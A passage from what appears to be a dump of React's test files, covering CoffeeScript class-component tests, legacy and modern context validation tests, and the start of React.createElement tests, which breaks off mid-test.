or null\\n' +\n          '    in Foo (at **)'\n      ]\n\n  it 'should render with null in the initial state property', ->\n    class Foo extends React.Component\n      constructor: ->\n        @state = null\n\n      render: ->\n        React.createElement('span')\n\n    test React.createElement(Foo), 'SPAN', ''\n\n  it 'setState through an event handler', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        @state = bar: props.initialValue\n\n      handleClick: =>\n        @setState bar: 'bar'\n\n      render: ->\n        React.createElement(InnerComponent,\n          name: @state.bar\n          onClick: @handleClick\n        )\n\n    test React.createElement(Foo, initialValue: 'foo'), 'DIV', 'foo'\n    ReactDOM.flushSync ->\n      attachedListener()\n    expect(renderedName).toBe 'bar'\n\n  it 'should not implicitly bind event handlers', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        @state = bar: props.initialValue\n\n      handleClick: -> # needs double arrow\n        @setState bar: 'bar'\n\n      render: ->\n        React.createElement(InnerComponent,\n          name: @state.bar\n          onClick: @handleClick\n        )\n\n    test React.createElement(Foo, initialValue: 'foo'), 'DIV', 'foo'\n    expect(attachedListener).toThrow()\n\n  it 'renders using forceUpdate even when there is no state', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        @mutativeValue = props.initialValue\n\n      handleClick: =>\n        @mutativeValue = 'bar'\n        @forceUpdate()\n\n      render: ->\n        React.createElement(InnerComponent,\n          name: @mutativeValue\n          onClick: @handleClick\n        )\n\n    test React.createElement(Foo, initialValue: 'foo'), 'DIV', 'foo'\n    ReactDOM.flushSync ->\n      attachedListener()\n    expect(renderedName).toBe 'bar'\n\n  it 'will call all the normal life cycle methods', ->\n    lifeCycles = []\n    class Foo extends React.Component\n      constructor: ->\n        @state = {}\n\n      UNSAFE_componentWillMount: ->\n        lifeCycles.push 'will-mount'\n\n      componentDidMount: ->\n        lifeCycles.push 'did-mount'\n\n      UNSAFE_componentWillReceiveProps: (nextProps) ->\n        lifeCycles.push 'receive-props', nextProps\n\n      shouldComponentUpdate: (nextProps, nextState) ->\n        lifeCycles.push 'should-update', nextProps, nextState\n        true\n\n      UNSAFE_componentWillUpdate: (nextProps, nextState) ->\n        lifeCycles.push 'will-update', nextProps, nextState\n\n      componentDidUpdate: (prevProps, prevState) ->\n        lifeCycles.push 'did-update', prevProps, prevState\n\n      componentWillUnmount: ->\n        lifeCycles.push 'will-unmount'\n\n      render: ->\n        React.createElement('span',\n          className: @props.value\n        )\n\n    test React.createElement(Foo, value: 'foo'), 'SPAN', 'foo'\n    expect(lifeCycles).toEqual [\n      'will-mount'\n      'did-mount'\n    ]\n    lifeCycles = [] # reset\n    test React.createElement(Foo, value: 'bar'), 'SPAN', 'bar'\n    expect(lifeCycles).toEqual [\n      'receive-props', { value: 'bar' }\n      'should-update', { value: 'bar' }, {}\n      'will-update',   { value: 'bar' }, {}\n      'did-update',    { value: 'foo' }, {}\n    ]\n    lifeCycles = [] # reset\n    ReactDOM.flushSync ->\n      root.unmount()\n    expect(lifeCycles).toEqual ['will-unmount']\n\n  if !featureFlags.disableLegacyContext\n    it 'warns when classic properties are defined on the instance,\n        but does not invoke them.', ->\n      getInitialStateWasCalled = false\n      getDefaultPropsWasCalled = false\n      class Foo extends React.Component\n        constructor: ->\n          @contextTypes = {}\n          @contextType = {}\n\n        getInitialState: ->\n          getInitialStateWasCalled = true\n          {}\n\n        getDefaultProps: ->\n          getDefaultPropsWasCalled = true\n          {}\n\n        render: ->\n          React.createElement('span',\n            className: 'foo'\n          )\n\n      test React.createElement(Foo), 'SPAN', 'foo'\n      assertConsoleErrorDev [\n        'getInitialState was defined on Foo, a plain JavaScript class.\n         This is only supported for classes created using React.createClass.\n         Did you mean to define a state property instead?\\n' +\n          '     in Foo (at **)',\n        'getDefaultProps was defined on Foo, a plain JavaScript class.\n         This is only supported for classes created using React.createClass.\n         Use a static property to define defaultProps instead.\\n' +\n          '    in Foo (at **)',\n        'contextType was defined as an instance property on Foo. Use a static property to define contextType instead.\\n' +\n          '    in Foo (at **)',\n        'contextTypes was defined as an instance property on Foo. Use a static property to define contextTypes instead.\\n' +\n          '    in Foo (at **)',\n      ]\n      expect(getInitialStateWasCalled).toBe false\n      expect(getDefaultPropsWasCalled).toBe false\n\n  it 'does not warn about getInitialState() on class components\n      if state is also defined.', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        super props\n        @state = bar: @props.initialValue\n\n      getInitialState: ->\n        {}\n\n      render: ->\n        React.createElement('span',\n          className: 'foo'\n        )\n\n    test React.createElement(Foo), 'SPAN', 'foo'\n\n  it 'should warn when misspelling shouldComponentUpdate', ->\n    class NamedComponent extends React.Component\n      componentShouldUpdate: ->\n        false\n\n      render: ->\n        React.createElement('span',\n          className: 'foo'\n        )\n\n    test React.createElement(NamedComponent), 'SPAN', 'foo'\n    assertConsoleErrorDev [\n      'NamedComponent has a method called componentShouldUpdate().\n       Did you mean shouldComponentUpdate()? The name is phrased as a\n       question because the function is expected to return a value.\\n' +\n        '    in NamedComponent (at **)'\n    ]\n\n  it 'should warn when misspelling componentWillReceiveProps', ->\n    class NamedComponent extends React.Component\n      componentWillRecieveProps: ->\n        false\n\n      render: ->\n        React.createElement('span',\n          className: 'foo'\n        )\n\n    test React.createElement(NamedComponent), 'SPAN', 'foo'\n    assertConsoleErrorDev [\n      'NamedComponent has a method called componentWillRecieveProps().\n       Did you mean componentWillReceiveProps()?\\n' +\n        '    in NamedComponent (at **)'\n    ]\n\n  it 'should warn when misspelling UNSAFE_componentWillReceiveProps', ->\n    class NamedComponent extends React.Component\n      UNSAFE_componentWillRecieveProps: ->\n        false\n\n      render: ->\n        React.createElement('span',\n          className: 'foo'\n        )\n\n    test React.createElement(NamedComponent), 'SPAN', 'foo'\n    assertConsoleErrorDev [\n      'NamedComponent has a method called UNSAFE_componentWillRecieveProps().\n       Did you mean UNSAFE_componentWillReceiveProps()?\\n' +\n        '    in NamedComponent (at **)'\n    ]\n\n  it 'should throw AND warn when trying to access classic APIs', ->\n    ref = React.createRef()\n    test React.createElement(InnerComponent, name: 'foo', ref: ref), 'DIV', 'foo'\n\n    expect(-> ref.current.replaceState {}).toThrow()\n    assertConsoleWarnDev([\n      'replaceState(...) is deprecated in plain JavaScript React classes. Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236).'])\n\n    expect(-> ref.current.isMounted()).toThrow()\n    assertConsoleWarnDev([\n      'isMounted(...) is deprecated in plain JavaScript React classes. Instead, make sure to clean up subscriptions and pending requests in componentWillUnmount to prevent memory leaks.'])\n\n  if !featureFlags.disableLegacyContext\n    it 'supports this.context passed via getChildContext', ->\n      class Bar extends React.Component\n        @contextTypes:\n          bar: PropTypes.string\n        render: ->\n          React.createElement('div', className: @context.bar)\n\n      class Foo extends React.Component\n        @childContextTypes:\n          bar: PropTypes.string\n        getChildContext: ->\n          bar: 'bar-through-context'\n        render: ->\n          React.createElement Bar\n\n      test React.createElement(Foo), 'DIV', 'bar-through-context'\n      assertConsoleErrorDev [\n        'Foo uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.\n         (https://react.dev/link/legacy-context)\\n' +\n          '    in Foo (at **)',\n        'Bar uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.\n         (https://react.dev/link/legacy-context)\\n' +\n          '    in Foo (at **)'\n      ]\n\n  undefined\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactContextValidator-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// This test doesn't really have a good home yet. I'm leaving it here since this\n// behavior belongs to the old propTypes system yet is currently implemented\n// in the core ReactCompositeComponent. It should technically live in core's\n// test suite but I'll leave it here to indicate that this is an issue that\n// needs to be fixed.\n\n'use strict';\n\nlet PropTypes;\nlet React;\nlet ReactDOMClient;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactContextValidator', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    PropTypes = require('prop-types');\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  // TODO: This behavior creates a runtime dependency on propTypes. We should\n  // ensure that this is not required for ES6 classes with Flow.\n\n  // @gate !disableLegacyContext\n  it('should filter out context not in contextTypes', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n    Component.contextTypes = {\n      foo: PropTypes.string,\n    };\n\n    class ComponentInFooBarContext extends React.Component {\n      childRef = React.createRef();\n\n      getChildContext() {\n        return {\n          foo: 'abc',\n          bar: 123,\n        };\n      }\n\n      render() {\n        return <Component ref={this.childRef} />;\n      }\n    }\n    ComponentInFooBarContext.childContextTypes = {\n      foo: PropTypes.string,\n      bar: PropTypes.number,\n    };\n\n    let instance;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentInFooBarContext ref={current => (instance = current)} />,\n      );\n    });\n    assertConsoleErrorDev([\n      'ComponentInFooBarContext uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ComponentInFooBarContext (at **)',\n      'Component uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ComponentInFooBarContext (at **)',\n    ]);\n    expect(instance.childRef.current.context).toEqual({foo: 'abc'});\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass next context to lifecycles', async () => {\n    let componentDidMountContext;\n    let componentDidUpdateContext;\n    let componentWillReceivePropsContext;\n    let componentWillReceivePropsNextContext;\n    let componentWillUpdateContext;\n    let componentWillUpdateNextContext;\n    let constructorContext;\n    let renderContext;\n    let shouldComponentUpdateContext;\n    let shouldComponentUpdateNextContext;\n\n    class Parent extends React.Component {\n      getChildContext() {\n        return {\n          foo: this.props.foo,\n          bar: 'bar',\n        };\n      }\n      render() {\n        return <Component />;\n      }\n    }\n    Parent.childContextTypes = {\n      foo: PropTypes.string.isRequired,\n      bar: PropTypes.string.isRequired,\n    };\n\n    class Component extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        constructorContext = context;\n      }\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        componentWillReceivePropsContext = this.context;\n        componentWillReceivePropsNextContext = nextContext;\n        return true;\n      }\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        shouldComponentUpdateContext = this.context;\n        shouldComponentUpdateNextContext = nextContext;\n        return true;\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState, nextContext) {\n        componentWillUpdateContext = this.context;\n        componentWillUpdateNextContext = nextContext;\n      }\n      render() {\n        renderContext = this.context;\n        return <div />;\n      }\n      componentDidMount() {\n        componentDidMountContext = this.context;\n      }\n      componentDidUpdate() {\n        componentDidUpdateContext = this.context;\n      }\n    }\n    Component.contextTypes = {\n      foo: PropTypes.string,\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent foo=\"abc\" />);\n    });\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Component uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n    ]);\n\n    expect(constructorContext).toEqual({foo: 'abc'});\n    expect(renderContext).toEqual({foo: 'abc'});\n    expect(componentDidMountContext).toEqual({foo: 'abc'});\n    await act(() => {\n      root.render(<Parent foo=\"def\" />);\n    });\n\n    expect(componentWillReceivePropsContext).toEqual({foo: 'abc'});\n    expect(componentWillReceivePropsNextContext).toEqual({foo: 'def'});\n    expect(shouldComponentUpdateContext).toEqual({foo: 'abc'});\n    expect(shouldComponentUpdateNextContext).toEqual({foo: 'def'});\n    expect(componentWillUpdateContext).toEqual({foo: 'abc'});\n    expect(componentWillUpdateNextContext).toEqual({foo: 'def'});\n    expect(renderContext).toEqual({foo: 'def'});\n    expect(componentDidUpdateContext).toEqual({foo: 'def'});\n  });\n\n  // TODO (bvaughn) Remove this test and the associated behavior in the future.\n  // It has only been added in Fiber to match the (unintentional) behavior in Stack.\n  // @gate !disableLegacyContext || !__DEV__\n  it('should warn (but not error) if getChildContext method is missing', async () => {\n    class ComponentA extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n      render() {\n        return <div />;\n      }\n    }\n    class ComponentB extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<ComponentA />);\n    });\n    assertConsoleErrorDev([\n      'ComponentA uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ComponentA (at **)',\n      'ComponentA.childContextTypes is specified but there is no getChildContext() method on the instance. ' +\n        'You can either define getChildContext() on ComponentA or remove childContextTypes from it.\\n' +\n        '    in ComponentA (at **)',\n    ]);\n\n    // Warnings should be deduped by component type\n    await act(() => {\n      root.render(<ComponentA />);\n    });\n    await act(() => {\n      root.render(<ComponentB />);\n    });\n    assertConsoleErrorDev([\n      'ComponentB uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ComponentB (at **)',\n      'ComponentB.childContextTypes is specified but there is no getChildContext() method on the instance. ' +\n        'You can either define getChildContext() on ComponentB or remove childContextTypes from it.\\n' +\n        '    in ComponentB (at **)',\n    ]);\n  });\n\n  // TODO (bvaughn) Remove this test and the associated behavior in the future.\n  // It has only been added in Fiber to match the (unintentional) behavior in Stack.\n  // @gate !disableLegacyContext\n  it('should pass parent context if getChildContext method is missing', async () => {\n    class ParentContextProvider extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n      };\n      getChildContext() {\n        return {\n          foo: 'FOO',\n        };\n      }\n      render() {\n        return <MiddleMissingContext />;\n      }\n    }\n\n    class MiddleMissingContext extends React.Component {\n      static childContextTypes = {\n        bar: PropTypes.string.isRequired,\n      };\n      render() {\n        return <ChildContextConsumer />;\n      }\n    }\n\n    let childContext;\n    class ChildContextConsumer extends React.Component {\n      render() {\n        childContext = this.context;\n        return <div />;\n      }\n    }\n    ChildContextConsumer.contextTypes = {\n      bar: PropTypes.string.isRequired,\n      foo: PropTypes.string.isRequired,\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<ParentContextProvider />);\n    });\n    assertConsoleErrorDev([\n      'ParentContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ParentContextProvider (at **)',\n      'MiddleMissingContext uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ParentContextProvider (at **)',\n      'MiddleMissingContext.childContextTypes is specified but there is no getChildContext() method on the instance. ' +\n        'You can either define getChildContext() on MiddleMissingContext or remove childContextTypes from it.\\n' +\n        '    in ParentContextProvider (at **)',\n      'ChildContextConsumer uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in MiddleMissingContext (at **)\\n' +\n        '    in ParentContextProvider (at **)',\n    ]);\n    expect(childContext.bar).toBeUndefined();\n    expect(childContext.foo).toBe('FOO');\n  });\n\n  it('should pass next context to lifecycles on update', async () => {\n    let componentDidMountContext;\n    let componentDidUpdateContext;\n    let componentWillReceivePropsContext;\n    let componentWillReceivePropsNextContext;\n    let componentWillUpdateContext;\n    let componentWillUpdateNextContext;\n    let constructorContext;\n    let renderContext;\n    let shouldComponentUpdateWasCalled = false;\n\n    const Context = React.createContext();\n\n    class Component extends React.Component {\n      static contextType = Context;\n      constructor(props, context) {\n        super(props, context);\n        constructorContext = context;\n      }\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        componentWillReceivePropsContext = this.context;\n        componentWillReceivePropsNextContext = nextContext;\n        return true;\n      }\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        shouldComponentUpdateWasCalled = true;\n        return true;\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState, nextContext) {\n        componentWillUpdateContext = this.context;\n        componentWillUpdateNextContext = nextContext;\n      }\n      render() {\n        renderContext = this.context;\n        return <div />;\n      }\n      componentDidMount() {\n        componentDidMountContext = this.context;\n      }\n      componentDidUpdate() {\n        componentDidUpdateContext = this.context;\n      }\n    }\n\n    const firstContext = {foo: 123};\n    const secondContext = {bar: 456};\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Context.Provider value={firstContext}>\n          <Component />\n        </Context.Provider>,\n      );\n    });\n\n    expect(constructorContext).toBe(firstContext);\n    expect(renderContext).toBe(firstContext);\n    expect(componentDidMountContext).toBe(firstContext);\n    await act(() => {\n      root.render(\n        <Context.Provider value={secondContext}>\n          <Component />\n        </Context.Provider>,\n      );\n    });\n\n    expect(componentWillReceivePropsContext).toBe(firstContext);\n    expect(componentWillReceivePropsNextContext).toBe(secondContext);\n    expect(componentWillUpdateContext).toBe(firstContext);\n    expect(componentWillUpdateNextContext).toBe(secondContext);\n    expect(renderContext).toBe(secondContext);\n    expect(componentDidUpdateContext).toBe(secondContext);\n    expect(shouldComponentUpdateWasCalled).toBe(true);\n  });\n\n  it('should re-render PureComponents when context Provider updates', async () => {\n    let renderedContext;\n\n    const Context = React.createContext();\n\n    class Component extends React.PureComponent {\n      static contextType = Context;\n      render() {\n        renderedContext = this.context;\n        return <div />;\n      }\n    }\n\n    const firstContext = {foo: 123};\n    const secondContext = {bar: 456};\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Context.Provider value={firstContext}>\n          <Component />\n        </Context.Provider>,\n      );\n    });\n\n    expect(renderedContext).toBe(firstContext);\n    await act(() => {\n      root.render(\n        <Context.Provider value={secondContext}>\n          <Component />\n        </Context.Provider>,\n      );\n    });\n\n    expect(renderedContext).toBe(secondContext);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  it('should warn if both contextType and contextTypes are defined', async () => {\n    const Context = React.createContext();\n\n    class ParentContextProvider extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n      };\n      getChildContext() {\n        return {\n          foo: 'FOO',\n        };\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    class ComponentA extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n      static contextType = Context;\n      render() {\n        return <div />;\n      }\n    }\n    class ComponentB extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n      static contextType = Context;\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(\n        <ParentContextProvider>\n          <ComponentA />\n        </ParentContextProvider>,\n      );\n    });\n\n    assertConsoleErrorDev([\n      'ParentContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ParentContextProvider (at **)',\n      'ComponentA declares both contextTypes and contextType static properties. ' +\n        'The legacy contextTypes property will be ignored.\\n' +\n        '    in ComponentA (at **)',\n      'ComponentA uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ComponentA (at **)',\n    ]);\n\n    // Warnings should be deduped by component type\n    await act(() => {\n      root.render(\n        <ParentContextProvider>\n          <ComponentA />\n        </ParentContextProvider>,\n      );\n    });\n\n    await act(() => {\n      root.render(\n        <ParentContextProvider>\n          <ComponentB />\n        </ParentContextProvider>,\n      );\n    });\n    assertConsoleErrorDev([\n      'ComponentB declares both contextTypes and contextType static properties. ' +\n        'The legacy contextTypes property will be ignored.\\n' +\n        '    in ComponentB (at **)',\n      'ComponentB uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ComponentB (at **)',\n    ]);\n  });\n\n  it('should warn if an invalid contextType is defined', async () => {\n    const Context = React.createContext();\n    class ComponentA extends React.Component {\n      static contextType = Context.Consumer;\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<ComponentA />);\n    });\n    assertConsoleErrorDev([\n      'ComponentA defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'Did you accidentally pass the Context.Consumer instead?\\n' +\n        '    in ComponentA (at **)',\n    ]);\n\n    await act(() => {\n      root.render(<ComponentA />);\n    });\n\n    class ComponentB extends React.Component {\n      static contextType = Context.Provider;\n      render() {\n        return <div />;\n      }\n    }\n    await act(() => {\n      root.render(<ComponentB />);\n    });\n  });\n\n  it('should not warn when class contextType is null', async () => {\n    class Foo extends React.Component {\n      static contextType = null; // Handy for conditional declaration\n      render() {\n        return this.context.hello.world;\n      }\n    }\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n    }).rejects.toThrow(\"Cannot read properties of undefined (reading 'world')\");\n  });\n\n  it('should warn when class contextType is undefined', async () => {\n    class Foo extends React.Component {\n      // This commonly happens with circular deps\n      // https://github.com/facebook/react/issues/13969\n      static contextType = undefined;\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n    }).rejects.toThrow(\"Cannot read properties of undefined (reading 'world')\");\n\n    assertConsoleErrorDev([\n      'Foo defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'However, it is set to undefined. ' +\n        'This can be caused by a typo or by mixing up named and default imports. ' +\n        'This can also happen due to a circular dependency, ' +\n        'so try moving the createContext() call to a separate file.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should warn when class contextType is an object', async () => {\n    class Foo extends React.Component {\n      // Can happen due to a typo\n      static contextType = {\n        x: 42,\n        y: 'hello',\n      };\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n    }).rejects.toThrow(\"Cannot read properties of undefined (reading 'hello')\");\n\n    assertConsoleErrorDev([\n      'Foo defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'However, it is set to an object with keys {x, y}.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should warn when class contextType is a primitive', async () => {\n    class Foo extends React.Component {\n      static contextType = 'foo';\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n    }).rejects.toThrow(\"Cannot read properties of undefined (reading 'world')\");\n\n    assertConsoleErrorDev([\n      'Foo defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'However, it is set to a string.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should warn if you define contextType on a function component', async () => {\n    const Context = React.createContext();\n\n    function ComponentA() {\n      return <div />;\n    }\n    ComponentA.contextType = Context;\n\n    function ComponentB() {\n      return <div />;\n    }\n    ComponentB.contextType = Context;\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<ComponentA />);\n    });\n    assertConsoleErrorDev([\n      'ComponentA: Function components do not support contextType.\\n' +\n        '    in ComponentA (at **)',\n    ]);\n\n    // Warnings should be deduped by component type\n    await act(() => {\n      root.render(<ComponentA />);\n    });\n\n    await act(() => {\n      root.render(<ComponentB />);\n    });\n    assertConsoleErrorDev([\n      'ComponentB: Function components do not support contextType.\\n' +\n        '    in ComponentB (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactCreateElement-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet act;\n\nlet React;\nlet ReactDOMClient;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\n// NOTE: This module tests the old, \"classic\" JSX runtime, React.createElement.\n// Do not use JSX syntax in this module; call React.createElement directly.\ndescribe('ReactCreateElement', () => {\n  let ComponentClass;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    ({\n      act,\n      assertConsoleErrorDev,\n      assertConsoleWarnDev,\n    } = require('internal-test-utils'));\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ComponentClass = class extends React.Component {\n      render() {\n        return React.createElement('div');\n      }\n    };\n  });\n\n  it('returns a complete element according to spec', () => {\n    const element = React.createElement(ComponentClass);\n    expect(element.type).toBe(ComponentClass);\n    expect(element.key).toBe(null);\n    expect(element.ref).toBe(null);\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n    expect(element.props).toEqual({});\n  });\n\n  it('should warn when `key` is being accessed on composite element', async () => {\n    class Child extends React.Component {\n      render() {\n        return React.createElement('div', null, this.props.key);\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return React.createElement(\n          'div',\n          null,\n          React.createElement(Child, {key: '0'}),\n          React.createElement(Child, {key: '1'}),\n          React.createElement(Child, {key: '2'}),\n        );\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.createElement(Parent));\n    });\n    assertConsoleErrorDev([\n      'Child: `key` is not a prop. Trying to access it will result ' +\n        'in `undefined` being returned. If you need to access the same ' +\n        'value within the child component, you should pass it as a different ' +\n        'prop. (https://react.dev/link/special-props)\\n' +\n        '    in Parent (at **)',\n    ]);\n  });\n\n  it('should warn when `key` is being accessed on a host element', () => {\n    const element = React.createElement('div', {key: '3'});\n    void element.props.key;\n    assertConsoleErrorDev([\n      'div: `key` is not a prop. Trying to access it will result ' +\n        'in `undefined` being returned. If you need to access the same ' +\n        'value within the child component, you should pass it as a different ' +\n        'prop. (https://react.dev/link/special-props)',\n    ]);\n  });\n\n  it('allows a string to be passed as the type', () => {\n    const element = React.createElement('div');\n    expect(element.type).toBe('div');\n    expect(element.key).toBe(null);\n    expect(element.ref).toBe(null);\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n    expect(element.props).toEqual({});\n  });\n\n  it('returns an immutable element', () => {\n    const element = React.createElement(ComponentClass);\n    if (__DEV__) {\n      expect(() => (element.type = 'div')).toThrow();\n    } else {\n      expect(() => (element.type = 'div')).not.toThrow();\n    }\n  });\n\n  it('does not reuse the original config object', () => {\n    const config = {foo: 1};\n    const element = React.createElement(ComponentClass, config);\n    expect(element.props.foo).toBe(1);\n    config.foo = 2;\n    expect(element.props.foo).toBe(1);\n  });\n\n  it('does not fail if config has no prototype', () => {\n    const config = Object.create(null, {foo: {value: 1, enumerable: true}});\n    const element = React.createElement(ComponentClass, config);\n    expect(element.props.foo).toBe(1);\n  });\n\n  it('extracts key from the rest of the props', () => {\n    const element = React.createElement(ComponentClass, {\n      key: '12',\n      foo: '56',\n    });\n    expect(element.type).toBe(ComponentClass);\n    expect(element.key).toBe('12');\n    const expectation = {foo: '56'};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('does not extract ref from the rest of the props', () => {\n    const ref = React.createRef();\n    const element = React.createElement(ComponentClass, {\n      key: '12',\n      ref: ref,\n      foo: '56',\n    });\n    expect(element.type).toBe(ComponentClass);\n    expect(element.ref).toBe(ref);\n    assertConsoleErrorDev([\n      'Accessing element.ref was removed in React 19. ref is now a ' +\n        'regular prop. It will be removed from the JSX Element ' +\n        'type in a future release.',\n    ]);\n    const expectation = {foo: '56', ref};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('extracts null key', () => {\n    const element = React.createElement(ComponentClass, {\n      key: null,\n      foo: '12',\n    });\n    expect(element.type).toBe(ComponentClass);\n    expect(element.key).toBe('null');\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n    expect(element.props).toEqual({foo: '12'});\n  });\n\n  it('ignores undefined key and ref', () => {\n    const props = {\n      foo: '56',\n      key: undefined,\n      ref: undefined,\n    };\n    const element = React.createElement(ComponentClass, props);\n    expect(element.type).toBe(ComponentClass);\n    expect(element.key).toBe(null);\n    expect(element.ref).toBe(null);\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n    expect(element.props).toEqual({foo: '56'});\n  });\n\n  it('ignores key and ref warning getters', () => {\n    const elementA = React.createElement('div');\n    const elementB = React.createElement('div', elementA.props);\n    expect(elementB.key).toBe(null);\n    expect(elementB.ref).toBe(null);\n  });\n\n  it('coerces the key to a string', () => {\n    const element = React.createElement(ComponentClass, {\n      